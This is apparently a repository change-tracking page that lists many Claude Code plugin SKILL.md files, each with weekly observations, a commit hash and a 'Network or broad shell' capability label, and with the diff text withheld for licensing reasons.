Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/copilot-instructions-blueprint-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/folder-structure-blueprint-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/project-workflow-analysis-blueprint-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/readme-blueprint-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/repo-story-time/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/technology-stack-blueprint-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/context-engineering/skills/context-map/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/context-engineering/skills/refactor-plan/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/context-engineering/skills/what-context-needed/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/context-matic/skills/integrate-context-matic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/context-matic/skills/onboard-context-matic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/convert-to-md/skills/convert-excel-to-md/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/convert-to-md/skills/convert-pdf-to-md/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/convert-to-md/skills/convert-word-to-md/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/ai-ready/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/boost-prompt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/cli-mastery/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-primitive-authoring/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-spaces/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/finalize-agent-prompt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/generate-custom-instructions-from-codebase/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/github-copilot-starter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/harness-engineering/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/lsp-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/memory-merger/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/microsoft-skill-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/prompt-optimizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/remember/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/steno-mode/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-customization-authoring/skills/vardoger-analyze/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-plugin-development/skills/copilot-plugin-authoring/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/copilot-sdk/skills/copilot-sdk/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/image-manipulation-image-magick/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/latchshot-page-capture/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/rhino3d-scripts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/slang-shader-engineer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/creative-media-tooling/skills/transloadit-media-processing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/aspnet-minimal-api-openapi/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-async/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-mstest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-nunit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-tunit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-xunit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-upgrade/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/csharp-dotnet-development/skills/fluentui-blazor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/data-engineering/skills/bigquery-pipeline-audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/data-engineering/skills/pinecone-rag/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/data-engineering/skills/snowflake-semanticview/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/data-engineering/skills/sql-server-table-reconciliation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/data-engineering/skills/ssma-console/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/database-data-management/skills/postgresql-code-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/database-data-management/skills/postgresql-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

